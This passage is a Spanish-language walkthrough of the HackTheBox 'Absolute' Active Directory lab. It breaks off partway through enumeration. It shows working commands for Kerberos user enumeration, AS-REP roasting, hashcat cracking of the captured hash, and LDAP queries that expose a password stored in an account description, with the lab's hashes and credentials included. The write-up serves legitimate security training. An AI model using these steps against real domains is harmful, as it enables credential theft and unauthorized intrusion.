HackTheBox: Absolute Write-Up en español
| Box info | |
|---|---|
| Hostname | Absolute |
| OS | Windows |
| Difficulty | Insane |
| Platform | HackTheBox |
Resumen
Absolute es una máquina enfocada en Kerberos. Es una máquina complicada, especialmente si no estás familiarizado con este método de autenticación, usado sobre todo en entornos de Active Directory. La máquina se vuelve más sencilla a medida que aprendes a como intereactuar con Kerberos, al menos en su primera fase.
La temática que tocar esta máquina es la siguiente:
- Enumeración de metadatos en imágenes.
- Uso de Username-Anarchy para generar una wordlist que contenga posibles nombres de usuario
- Ataque
AS-REP Roast. - Autenticación a través de Kerberos.
- Enumeración manual en Active Directory usando Kerberos.
- Bloodhound.
- Análisis dinámico de un binario compilado en Nim con Wireshark.
- Manipulación de DACLs con
PowerViewydacl.py Shadow Credentials AttackconcertipyyWhisker- Uso de
KrbRelayUppara elevar privilegios.
Dicho esto vamos al lío.
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Absolute
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-05 19:18:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
|_ssl-date: 2023-11-05T19:19:45+00:00; +7h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-05T19:19:44+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-05T19:19:45+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after: 2024-07-16T21:11:52
|_ssl-date: 2023-11-05T19:19:44+00:00; +7h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-time:
| date: 2023-11-05T19:19:37
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Recon
A primera vista, podemos observar que los puertos (53, 88, 389) correspondientes a DNS, Kerberos y LDAP están abiertos, esto ya es un indicador claro de que nos encontramos frente a un controlador de dominio. También por SMB y LDAP, se filtra el hostname de la máquina. En un entorno de AD, aconsejo modificar el fichero hosts con la siguiente estructura:
1
10.129.142.54 dc.absolute.htb absolute.htb
Es importante poner primero el hostname para evitar problemas a futuro con Kerberos.
LDAP: 389, 3269
En el resultado de nmap, vemos que LDAP, esta configurado con SSL. Si inpeccionamos el certificado podremos ver en el Common Name, DC-CA, esto quiere decir que existe una entidad certificadora en la máquina, de lo cual nos vamos a aprovechar más tarde para ganar acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
❯ openssl s_client -connect 10.129.142.54:3269 < /dev/null > /dev/null | openssl x509 -noout -text
Cant use SSL_get_servername
depth=0 CN = dc.absolute.htb
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = dc.absolute.htb
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = dc.absolute.htb
verify return:1
DONE
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
6e:00:00:00:04:4c:07:8a:56:d2:51:0b:05:00:01:00:00:00:04
Signature Algorithm: sha1WithRSAEncryption
Issuer: DC = htb, DC = absolute, CN = absolute-DC-CA
Validity
Not Before: Jul 17 21:11:52 2023 GMT
Not After : Jul 16 21:11:52 2024 GMT
Subject: CN = dc.absolute.htb
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:c9:c3:5d:9d:39:dd:0f:1a:f3:93:54:b2:a9:47:
04:d9:9f:fb:79:a5:54:fe:a3:f3:a0:dc:74:1c:e0:
06:0c:05:e2:d9:36:70:b1:91:ed:59:fb:07:af:cc:
6d:c4:ef:da:a6:dd:ac:12:f5:64:d9:51:0d:df:7f:
61:1a:a6:d3:25:4d:f5:b8:a2:d2:81:c5:55:09:87:
28:02:37:ab:a1:db:ff:1a:d2:7c:fb:8b:b3:3d:ab:
f2:7c:ad:8a:38:3b:4c:e3:18:2e:df:30:23:39:e9:
ef:24:e9:92:6e:21:d1:4b:73:04:27:aa:57:0e:03:
a0:61:e2:e4:ed:3b:a3:11:7e:72:7a:80:16:48:09:
64:6b:a4:ae:8f:f9:51:54:cc:da:86:f3:3c:28:d3:
f2:1d:b7:6e:27:89:ac:cf:61:f2:da:e2:65:5e:75:
85:5d:a1:2d:fb:fc:6e:88:1b:7f:6d:bf:82:f7:6a:
f9:4b:11:a8:04:20:89:4a:7b:91:fb:d0:ad:ad:ef:
3d:f7:0c:1a:32:53:82:c0:1f:d0:fe:94:51:6a:cc:
91:40:f0:93:38:de:eb:08:f4:2f:7f:1d:b7:fe:d4:
9f:36:03:7d:36:b2:6a:49:55:d2:bd:f1:2f:f6:16:
fc:f7:4c:88:7d:92:00:9e:2a:7e:e6:0c:ca:a0:1a:
1a:8d
Exponent: 65537 (0x10001)
X509v3 extensions:
1.3.6.1.4.1.311.20.2:
. .D.o.m.a.i.n.C.o.n.t.r.o.l.l.e.r
X509v3 Extended Key Usage:
TLS Web Client Authentication, TLS Web Server Authentication
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
S/MIME Capabilities:
......0...`.H.e...*0...`.H.e...-0...`.H.e....0...`.H.e....0...+....0
..*.H..
X509v3 Subject Key Identifier:
21:EA:6B:5C:42:36:65:79:74:58:3B:EA:47:59:25:50:46:4A:02:61
X509v3 Authority Key Identifier:
80:86:20:4F:E0:C3:6F:4A:F8:42:66:90:8B:3F:5F:50:3B:DD:A0:37
X509v3 CRL Distribution Points:
Full Name:
URI:ldap:///CN=absolute-DC-CA,CN=dc,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=absolute,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint
Authority Information Access:
CA Issuers - URI:ldap:///CN=absolute-DC-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=absolute,DC=htb?cACertificate?base?objectClass=certificationAuthority
X509v3 Subject Alternative Name:
othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
1.3.6.1.4.1.311.25.2:
0@.>.
+.....7....0..S-1-5-21-4078382237-1492182817-2568127209-1000
Signature Algorithm: sha1WithRSAEncryption
Signature Value:
27:e4:9a:2b:e2:ef:d1:b0:ad:ad:18:90:38:7e:61:5f:a6:78:
25:95:b1:b1:08:a8:7e:8a:c4:64:02:1d:06:b3:b5:ed:30:ee:
8d:a1:2c:46:43:6d:34:89:9d:00:61:9c:7e:e3:36:9d:63:03:
54:bd:a3:ef:39:7a:50:b0:6c:00:9e:57:0f:38:e3:dc:a4:fb:
6a:0c:e2:90:92:cf:0e:8f:4c:22:e8:8d:c9:5f:72:10:78:69:
e9:f1:9e:63:3c:d3:63:df:f8:62:8b:82:81:9f:fa:95:b6:20:
d2:9e:e5:f4:5a:bd:46:5b:04:25:08:30:43:f7:18:2e:a9:58:
a8:80:ad:32:80:6e:d2:93:14:70:5a:8e:5d:75:78:c3:53:86:
cd:1d:77:8a:98:b2:e7:53:7a:9a:08:52:ab:67:3f:e1:6f:5f:
7e:df:25:79:0b:f2:95:d5:c3:00:5b:7b:d9:cb:1c:35:82:a2:
56:31:21:5d:17:8c:33:f8:12:e2:e7:13:99:c7:08:73:c9:76:
bd:8d:d8:e8:76:71:a5:47:66:61:14:58:9c:a5:0d:85:43:28:
09:1b:43:d1:d4:f2:22:33:2e:85:fe:e8:81:8a:da:69:67:84:
55:e3:02:91:a1:b6:5f:10:b1:25:19:1e:c5:71:32:0c:29:7b:
13:41:f1:a4
Web 80 - TCP
Para ir directo al grano, no tenemos acceso a una sesión de invitado para enumerar recursos a través de SMB, no podemos conectarnos al DC mediante rpcclient, no podemos realizar querys por LDAP para enumerar usuarios o información del dominio, ni tampoco enumerar subdominios a través de ataques AXFR. En cuanto al servidor web, se trata de un IIS que almacena una página estática. Después de ejecutar Gobuster, no he encontrado nada de interés, como archivos PHP o ASPX. Sin embargo, podemos obtener información de las imágenes almacenadas en la carpeta ‘/images’. Descargaremos estas imágenes a nuestra máquina local para analizar posteriormente los metadatos.
1
wget -r http://absolute.htb/images
ExifTool: Extrayendo metadatos
Para analizar los metadatos de las imágenes, utilizaré ExifTool y filtraré por el campo ‘Author’ con el fin de obtener, si está disponible, el nombre de usuario que creó la imagen. En este caso, uso un * para que el comando se aplique a todos los archivos PNG y me lo redirija a un fichero de texto. El comando es el siguiente:
1
2
3
4
5
6
7
❯ exiftool *.jpg | grep -i "Author" | awk '{print $2}' FS=':' | sed 's/^ //g' | tee -a usernames.txt
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith
Ahora que tenemos una lista de posibles usuarios, hemos dado un paso valioso en un entorno de Active Directory (AD). Generalmente, la estructura de los nombres de usuario depende del dominio y suele seguir patrones como inicial, apellido, inicial.apellido, inicial_apellido, entre otros. Para simplificar la generación de posibles nombres de usuario, existe una herramienta escrita en Ruby llamada Username-Anarchy. Esta herramienta toma un archivo de texto correctamente formateado y genera una lista de posibles nombres de usuario. Puedes encontrarla en el siguiente repositorio: Usename-Anarchy.
El siguiente paso consiste en formatear el archivo de manera que Username-Anarchy pueda entenderlo, lo cual suele ser en el formato ‘nombre,apellido’. Con el editor de texto vi se puede realizar ejecutando la siguiente instrucción:
1
:%s/ /,/g
El fichero final es el siguiente:
1
2
3
4
5
6
7
8
❯ cat usernames.txt
firstname,lastname
James,Roberts
Michael,Chaffrey
Nicole,Smith
Donald,Klay
Jeffer,Robinson
Sarah,Osvald
Ejecutamos Username-Anarchy y obtenemos un archivo de texto con los posibles nombres de usuario. Luego, utilizamos sponge para sobrescribir el archivo sin la necesidad de redirigirlo a uno temporal o realizar pasos adicionales
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ /opt/username-anarchy/username-anarchy -i usernames.txt -f flast,f.last | sponge usernames.txt
❯ cat usernames.txt
j.roberts
jroberts
m.chaffrey
mchaffrey
n.smith
nsmith
d.klay
dklay
j.robinson
jrobinson
s.osvald
sosvald
User Enumeration: Kerbrute
En Active Directory, el primer paso comúnmente realizado cuando se dispone de una lista de posibles usuarios del dominio es utilizar Kerbrute para comprobar si son válidos o no. Esto se puede comprobar debido al funcionamiento de Kerberos. Cuando se envía una solicitud AS_REQ para obtener un TGT (Ticket Granting Ticket), si el usuario no es válido, el KDC responde con un mensaje de PRINCIPAL_UNKNOWN, indicando que el usuario no se encuentra en la base de datos de Kerberos. Por otro lado, si el usuario es válido, Kerberos responderá con un mensaje de ‘invalid credentials’ u otra respuesta similar. De ahí viene el ataque AS-REP Roast, que vermos más adelante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ /opt/kerbrute/kerbrute userenum -dc dc.absolute.htb -d absolute.htb usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 11/05/23 - Ronnie Flathers @ropnop
2023/11/05 13:40:41 > Using KDC(s):
2023/11/05 13:40:41 > dc.absolute.htb:88
2023/11/05 13:40:41 > [+] VALID USERNAME: m.chaffrey@absolute.htb
2023/11/05 13:40:41 > [+] VALID USERNAME: j.roberts@absolute.htb
2023/11/05 13:40:41 > [+] VALID USERNAME: n.smith@absolute.htb
2023/11/05 13:40:41 > [+] VALID USERNAME: j.robinson@absolute.htb
2023/11/05 13:40:41 > [+] VALID USERNAME: s.osvald@absolute.htb
2023/11/05 13:40:41 > [+] d.klay has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$d.klay@ABSOLUTE.HTB:fc3b115409207e3dc0d7b4e5bcecb3e0$021ba373ad154f0094c1b0908033c3b55eeb99fd9d3b5e4969131490b2519ee1790022539cfc3cdd387e0f1e2948dc2614346915b61c74406a9aa42d15c7c10005a21bcc7ac0872b30a7d2d2cc4c3bf83a64e4a869dbcf8a680a6519c8026ad46e45dc20a3ac4ea011627bf8e4b395426cbf3ad36cb281b4be13f5c744e60aace854ea155cb02788df60d89660705997c6b4e3d9b715d9f8443466a55ab157366814e01ee36b32306cd41b229bb7a1a7f22acaa30804c13e4cd9d418d8dc93e26f01e13dfd20c69afe4049af9c8f9780c4a4768729be3e3b85c2c38f6371f1943e49f155983fadbe0e69f104927b4d2c381a9ae451bc131b20e6a43c141b0f48
2023/11/05 13:40:41 > [+] VALID USERNAME: d.klay@absolute.htb
2023/11/05 13:40:41 > Done! Tested 24 usernames (6 valid) in 0.214 seconds
Tras ejecutar Kerbrute, observamos un listado de usuarios válidos, y notamos que d.klay es vulnerable al ataque AS-REP roast. La última versión de Kerbrute realiza un AS-REP roast directamente para obtener el Ticket Granting Ticket (TGT) del usuario vulnerable. La vulnerabilidad de este usuario radica en su configuración, que tiene la opción DONT_REQUIRE_PREAUTH habilitada. Esto significa que no requiere autenticación previa de Kerberos, lo que permite que el KDC devuelva el TGT con la contraseña del usuario encriptada.
Guardamos los usuarios válidos en un fichero.
1
2
3
4
5
6
7
❯ cat usernames.txt
m.chaffrey
j.roberts
n.smith
j.robinson
s.osvald
d.klay
AS-REP Roast Attack
Por defecto, el valor ETYPE que Kerbrute muestra en su salida es el 18, mientras que el modo utilizado para crackear los hashes en Hashcat es el ETYPE 23. Debido a esta diferencia de formato, no será posible crackear el hash, ya que no coincide con el requerido por Hashcat. Para obtener el hash en un formato que hashcat entienda podemos hacer lo siguiente
Usar impacket-GetNPUsers:
1
2
3
4
5
❯ impacket-GetNPUsers -dc-ip 10.129.68.75 -no-pass -request 'absolute.htb/d.klay'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for d.klay
$krb5asrep$23$d.klay@ABSOLUTE.HTB:7f20e46062a600c2be20601c64f7a964$01cc50aef8801b01616870c0a0a5e5aff9a3c47b6173af9d62c96a81d352da28c74871a959c5e4b8ab7b055cfb991a3d67f70895c676fc47ec668f6aa0850ca3ca81d62c8d6e27e3fcb19e1716106fa012b31c755bd912f71160b1f12e257035577ac26caf476ee9c9734209e3f43b1303b25814f63caf1c2ab4e6d3f4316bafd1589d03b91625834987f71cc669872d66aaf06bb568ec5e1ca960cccca9199a43c8dca79cca058f38cc93c76e0123d9f59abd5158f018e8edd2253f73d657f5e5e2f2f7498d0840e8dc9775826e9f5b3d3652f227b7719ac0c2f5b456e7e4ab52cfb135b65f7fc7265ae845
Con kerbrute usar la flag --downgrade:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ /opt/kerbrute/kerbrute userenum --dc dc.absolute.htb -d absolute.htb users.txt --downgrade
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 11/07/23 - Ronnie Flathers @ropnop
2023/11/07 00:17:46 > Using downgraded encryption: arcfour-hmac-md5
2023/11/07 00:17:46 > Using KDC(s):
2023/11/07 00:17:46 > dc.absolute.htb:88
...
...
2023/11/07 00:17:46 > [+] d.klay has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$d.klay@ABSOLUTE.HTB:8d5712913aac4c62eda2d5c1d791c48e$541a1a48c6ee608182959fcf33c373961e6ab54a46ac1b256f5b59a10e695863603034716c8c5b684788c7e80e0dd76d376ea36b96e945ef8cb345dc878afd91dd9539a4896f9b44a572a10bdbc2ac335b55ccde0e7e4dd27fdf6de91700eaafee3a892a5c45eb6f23e9e2630f279118ac6b15d508b5e7dba58c1668faba647e2428aff68d812a26ac1c6c506617a78caec11fdb1d727b3dcf0773b7b303638101ba6adc8221a67d2d7ab4d86b6835380842c64f2159950bd9e99c3d6c4de0e927535a86fdae38560eabf69d800cd871e8628cd5438084bdceacbaa378bc62fd33f7553a4521f711f5878bed
2023/11/07 00:17:46 > [+] VALID USERNAME: d.klay@absolute.htb
Una vez tenemos el hash, lo crackeamos usando hashcat
1
2
3
4
5
6
7
8
9
10
11
❯ hashcat -m 18200 -a 0 d.klay.asrep /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i7-5775C CPU @ 3.30GHz, 6921/13906 MB (2048 MB allocatable), 8MCU
1
$krb5asrep$23$d.klay@ABSOLUTE.HTB:7dcc8ee944cbd8d9acffd5e52e051762$6f4acb9b53597e032fa24da7f8c4ac8c4f66e92394b5512c9702841ac64f134052687e40aa5beb40a7977ecd1b0b91e1b90fbfef6ede949050627e5d43ff2a4a4c1ee7f4cee2df7c3534c4a4fb674a5863f170414049ac2b2d95e4cda2679bfab591c205f1b6f3a942432e4d74f68350cb6300cf90309c1ca714e1ec0520b2058ac5199b5056a8319869eab3aedc35688b1cd3911dc0e2c071fe6e1da57040497021ddd2e2bdaec6544bedf696dd2eb0d7df0b5f1bf3a90846939dfc93322c58fd42b6c05303436f81c870b7847481c033112905c1f6d316c78cd439fb52f10d9381e1c8c0804c2e4be542c8:Darkmoonsky248girl
Tras conseguir obtener la contraseña del usuario d.klay en texto plano, voy a validarla usando crackmapexec, y obtenemos el siguiente resultado:
1
2
3
❯ cme smb 10.129.68.75 -u 'd.klay' -p 'Darkmoonsky248girl'
SMB 10.129.68.75 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.68.75 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
Parece ser que crackmapexec realiza la autenticación mediante NTLM. Puede que el administrador del dominio haya deshabilitado este tipo de autenticación para usuarios no privilegiados, ya que de esta manera se evitan los ataques Pass-The-Hash.
Pero al disponer de la contraseña, voy a autenticarme usando Kerberos.
1
2
3
❯ cme smb 10.129.68.75 -u 'd.klay' -p 'Darkmoonsky248girl' -k
SMB 10.129.68.75 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.68.75 445 DC [-] absolute.htb\d.klay: KRB_AP_ERR_SKEW
Vemos el siguiente error KRB_AP_ERR_SKEW. Esto ocurre porque no tenemos sincronizados la hora de nuestra máquina de atacante con el reloj del DC. Para evitar problemas con Kerberos siempre es recomendable tener síncronizada la hora.
Sincronizando el reloj con el DC.
Para sincronizarlo podemos usar la herramienta ntpdate, aunque en mi caso tuve que realizar una configuración extra:
1
2
3
❯ sudo ntpdate 10.129.68.75
2023-11-05 22:19:23.24649 (+0100) +25200.798573 +/- 0.025121 10.129.68.75 s1 no-leap
CLOCK: time stepped by 25200.798573
Aunque ejecute este comando, el reloj no se síncroniza y esto en mi caso concreto se debía a que el demonio systemd-timesyncd estaba ejecutandose. Este demonio se utiliza para sincronizar el reloj del sistema a través de la red, lo cual causaba conficto con ntpdate. Para evitar errores simplemente deshabilito el servicio, y ya puedo sincronizarme al DC.
1
2
3
4
5
6
7
8
❯ systemctl stop systemd-timesyncd.service
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to stop 'systemd-timesyncd.service'.
Authenticating as: alex,,, (alex)
Password:
==== AUTHENTICATION COMPLETE ====
❯ sudo ntpdate dc.absolute.htb
2023-11-05 22:28:00.484487 (+0100) +252
Nos autenticamos por Kerberos, y ahora podemos comprobar que las credenciales son correctas.
1
2
3
❯ cme smb 10.129.68.75 -u 'd.klay' -p 'Darkmoonsky248girl' -k
SMB 10.129.68.75 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.68.75 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
Usando Kerberos como método de autenticación
Bien ya que disponemos de credenciales válidas, si queremos autenticarnos en el dominio para empezar a enumerar, lo tenemos que hacer usando Kerberos obligatoriamente. Esto puede ser un dolor de cabeza al principio por que la mayoría de scripts usados para enumerar AD, usan NTLM por defecto.
Por ejemplo voy a conectarme por rpcclient al DC, usando las credenciales de d.klay
1
2
❯ rpcclient -U 'absolute.htb\d.klay%Darkmoonsky248girl' 10.129.68.75
Cannot connect to server. Error was NT_STATUS_ACCOUNT_RESTRICTION
El siguiente mensaje indica que la autenticación NTLM está desactivada. En cambió si lo hago con Kerberos, la cosa cambia.
1
2
3
❯ rpcclient -U 'absolute.htb\d.klay%Darkmoonsky248girl' 10.129.68.75 --use-kerberos=required
Kerberos auth with 'd.klay@ABSOLUTE.HTB' (ABSOLUTE.HTB\d.klay) to access '10.129.68.75' not possible
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
No podemos conectarnos pero simplemente porque no tenemos permisos xD
Ahora bien ¿Como utilizo Kerberos, como método de autenticación?
Pues es necesario contar con el paquete krb5-user instalado y configurar el fichero /etc/krb5.conf indicado la información del dominio al que nos vamos a conectar. Debe tener la siguiente estructura:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB= {
kdc = dc.absolute.htb
admin_server = dc.absolute.htb
default_domain = absolute.htb
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
absolute.htb
Una vez esto vamos a iniciar sesión como d.klay usando el comando kinit
1
2
❯ kinit d.klay
Password for d.klay@ABSOLUTE.HTB:
No vemos ningún output lo cual quiere decir que disponemos de una sesión como d.klay. Podemos listar los tickets almacenados en memoria con klist
1
2
3
4
5
6
7
8
9
❯ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: d.klay@ABSOLUTE.HTB
Valid starting Expires Service principal
11/07/23 02:50:44 11/07/23 06:50:44 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 11/07/23 06:50:44
11/07/23 02:51:18 11/07/23 06:50:44 ldap/dc.absolute.htb@ABSOLUTE.HTB
renew until 11/07/23 06:50:44
Bien ahora que podemos usar Kerberos como método de autenticación vamos a enumerar el dominio autenticados.
También puedes usar impacket junto con el script getTGT. Este script crea un archivo .ccache que contiene el ticket de autenticación del usuario. Para utilizar esas credenciales, debes cambiar una variable de entorno llamada KRB5CCNAME para que apunte a ese archivo y, a partir de ahí, puedes autenticarte en el dominio. Para mí esta opción es un poco coñazo, ya que si cambias de pestaña en la terminal o se te olvida exportar la variable de entorno, perderás la autenticación.
Enumeración del dominio
Para mí la mejor opción para enumerar el dominio, es con bloodhound. Se puede ir haciendo manualmente con herramietas como PowerView, ldapsearh, rpcclient, etc… Pero a fin de cuentas la manera en la que Bloodhound, representa la información me parece más clara y la que mejor refleja la vía para escalar privilegios dentro del dominio. Dicho esto si queremos saber una información concreta, como por ejemplo a que grupo pertenece un usuario o enumerar los recursos compartidos por SMB, pues sí que es más rentable usar estas herramientas. Por ejemplo en este caso uso ldapsearch para sacar los usuarios del dominio.
Para usar la autenticación por que kerberos con ldapseach debemos tener instalado el paquete libsasl2-modules-gssapi-mit e indicar la flag -Y GSSAPI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "DC=absolute,DC=htb" "objectclass=user" | grep "name" | awk '{print $2}'
SASL/GSSAPI authentication started
SASL username: d.klay@ABSOLUTE.HTB
SASL SSF: 256
SASL data security layer installed.
Administrator
Guest
DC
krbtgt
J.Roberts
M.Chaffrey
D.Klay
s.osvald
j.robinson
n.smith
m.lovegod
l.moore
c.colt
s.johnson
d.lemm
svc_smb
svc_audit
winrm_user
También podríamos enumerar sus descripciones, ya que es común que en entornos CTF, se pueda obtener información como contraseñas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "DC=absolute,DC=htb" "objectClass=User" name description | grep -E "(description|name)"
SASL/GSSAPI authentication started
SASL username: d.klay@ABSOLUTE.HTB
SASL SSF: 256
SASL data security layer installed.
# requesting: name description
description: Built-in account for administering the computer/domain
name: Administrator
description: Built-in account for guest access to the computer/domain
name: Guest
name: DC
description: Key Distribution Center Service Account
name: krbtgt
name: J.Roberts
name: M.Chaffrey
name: D.Klay
name: s.osvald
name: j.robinson
name: n.smith
name: m.lovegod
name: l.moore
name: c.colt
name: s.johnson
name: d.lemm
description: AbsoluteSMBService123!
name: svc_smb
name: svc_audit
description: Used to perform simple network tasks
name: winrm_user
Como se puede observar en la descripcción de un usuario se puede ver la string AbsoluteSMBService123!, que tiene todas las papeletas de ser una contraseña.
Con crackmapexec es más sencillo tambíen lo podemos hacer y es mas legible la información:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ cme ldap 10.129.229.59 -u 'm.lovegod' -p 'AbsoluteLDAP2022!' -k --users
SMB 10.129.229.59 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP 10.129.229.59 389 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
LDAP 10.129.229.59 389 DC [*] Total of records returned 20
LDAP 10.129.229.59 389 DC Administrator Built-in account for administering the computer/domain
LDAP 10.129.229.59 389 DC Guest Built-in account for guest access to the computer/domain
LDAP 10.129.229.59 389 DC krbtgt Key Distribution Center Service Account
LDAP 10.129.229.59 389 DC J.Roberts
LDAP 10.129.229.59 389 DC M.Chaffrey
LDAP 10.129.229.59 389 DC D.Klay
LDAP 10.129.229.59 389 DC s.osvald
LDAP 10.129.229.59 389 DC j.robinson
LDAP 10.129.229.59 389 DC n.smith
LDAP 10.129.229.59 389 DC m.lovegod
LDAP 10.129.229.59 389 DC l.moore
LDAP 10.129.229.59 389 DC c.colt
LDAP 10.129.229.59 389 DC s.johnson
LDAP 10.129.229.59 389 DC d.lemm
LDAP 10.129.229.59 389 DC svc_smb AbsoluteSMBService123!
LDAP 10.129.229.59 389 DC svc_audit
LDAP 10.129.229.59 389 DC winrm_user Used to perform simple network tasks
A mí una herramienta que me gusta mucho para un reconocimiento inicial es ldapdomaindump, pero no soporta la autenticación por Kerberos así que este caso no aplica.
También podríamos enumerar los recursos compartidos a los que tenemos permisos de escritura/lectura con crackmapexec
1
2
3
4
5
6
7
8
9
10
11
12
❯ cme smb 10.129.229.59 -u 'd.klay' -p 'Darkmoonsky248girl' -k --shares
